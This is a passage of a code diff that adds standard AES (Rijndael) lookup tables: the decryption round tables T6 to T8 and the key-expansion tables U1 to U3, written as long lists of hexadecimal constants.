0xbce2250c, 0x283c498b, 0xff0d9541, 0x39a80171, 0x080cb3de, 0xd8b4e49c, 0x6456c190, 0x7bcb8461, 0xd532b670, 0x486c5c74, 0xd0b85742 ]
+	T6 = [ 0x5051f4a7, 0x537e4165, 0xc31a17a4, 0x963a275e, 0xcb3bab6b, 0xf11f9d45, 0xabacfa58, 0x934be303, 0x552030fa, 0xf6ad766d, 0x9188cc76, 0x25f5024c, 0xfc4fe5d7, 0xd7c52acb, 0x80263544, 0x8fb562a3, 0x49deb15a, 0x6725ba1b, 0x9845ea0e, 0xe15dfec0, 0x02c32f75, 0x12814cf0, 0xa38d4697, 0xc66bd3f9, 0xe7038f5f, 0x9515929c, 0xebbf6d7a, 0xda955259, 0x2dd4be83, 0xd3587421, 0x2949e069, 0x448ec9c8, 0x6a75c289, 0x78f48e79, 0x6b99583e, 0xdd27b971, 0xb6bee14f, 0x17f088ad, 0x66c920ac, 0xb47dce3a, 0x1863df4a, 0x82e51a31, 0x60975133, 0x4562537f, 0xe0b16477, 0x84bb6bae, 0x1cfe81a0, 0x94f9082b, 0x58704868, 0x198f45fd, 0x8794de6c, 0xb7527bf8, 0x23ab73d3, 0xe2724b02, 0x57e31f8f, 0x2a6655ab, 0x07b2eb28, 0x032fb5c2, 0x9a86c57b, 0xa5d33708, 0xf2302887, 0xb223bfa5, 0xba02036a, 0x5ced1682, 0x2b8acf1c, 0x92a779b4, 0xf0f307f2, 0xa14e69e2, 0xcd65daf4, 0xd50605be, 0x1fd13462, 0x8ac4a6fe, 0x9d342e53, 0xa0a2f355, 0x32058ae1, 0x75a4f6eb, 0x390b83ec, 0xaa4060ef, 0x065e719f, 0x51bd6e10, 0xf93e218a, 0x3d96dd06, 0xaedd3e05, 0x464de6bd, 0xb591548d, 0x0571c45d, 0x6f0406d4, 0xff605015, 0x241998fb, 0x97d6bde9, 0xcc894043, 0x7767d99e, 0xbdb0e842, 0x8807898b, 0x38e7195b, 0xdb79c8ee, 0x47a17c0a, 0xe97c420f, 0xc9f8841e, 0x00000000, 0x83098086, 0x48322bed, 0xac1e1170, 0x4e6c5a72, 0xfbfd0eff, 0x560f8538, 0x1e3daed5, 0x27362d39, 0x640a0fd9, 0x21685ca6, 0xd19b5b54, 0x3a24362e, 0xb10c0a67, 0x0f9357e7, 0xd2b4ee96, 0x9e1b9b91, 0x4f80c0c5, 0xa261dc20, 0x695a774b, 0x161c121a, 0x0ae293ba, 0xe5c0a02a, 0x433c22e0, 0x1d121b17, 0x0b0e090d, 0xadf28bc7, 0xb92db6a8, 0xc8141ea9, 0x8557f119, 0x4caf7507, 0xbbee99dd, 0xfda37f60, 0x9ff70126, 0xbc5c72f5, 0xc544663b, 0x345bfb7e, 0x768b4329, 0xdccb23c6, 0x68b6edfc, 0x63b8e4f1, 0xcad731dc, 0x10426385, 0x40139722, 0x2084c611, 0x7d854a24, 0xf8d2bb3d, 0x11aef932, 0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857 ]
+	T7 = [ 0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8 ]
+	T8 = [ 0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0 ]
+
+	# Transformations for decryption key expansion
+	U1 = [ 0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3 ]
+	U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ]
+	U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ]
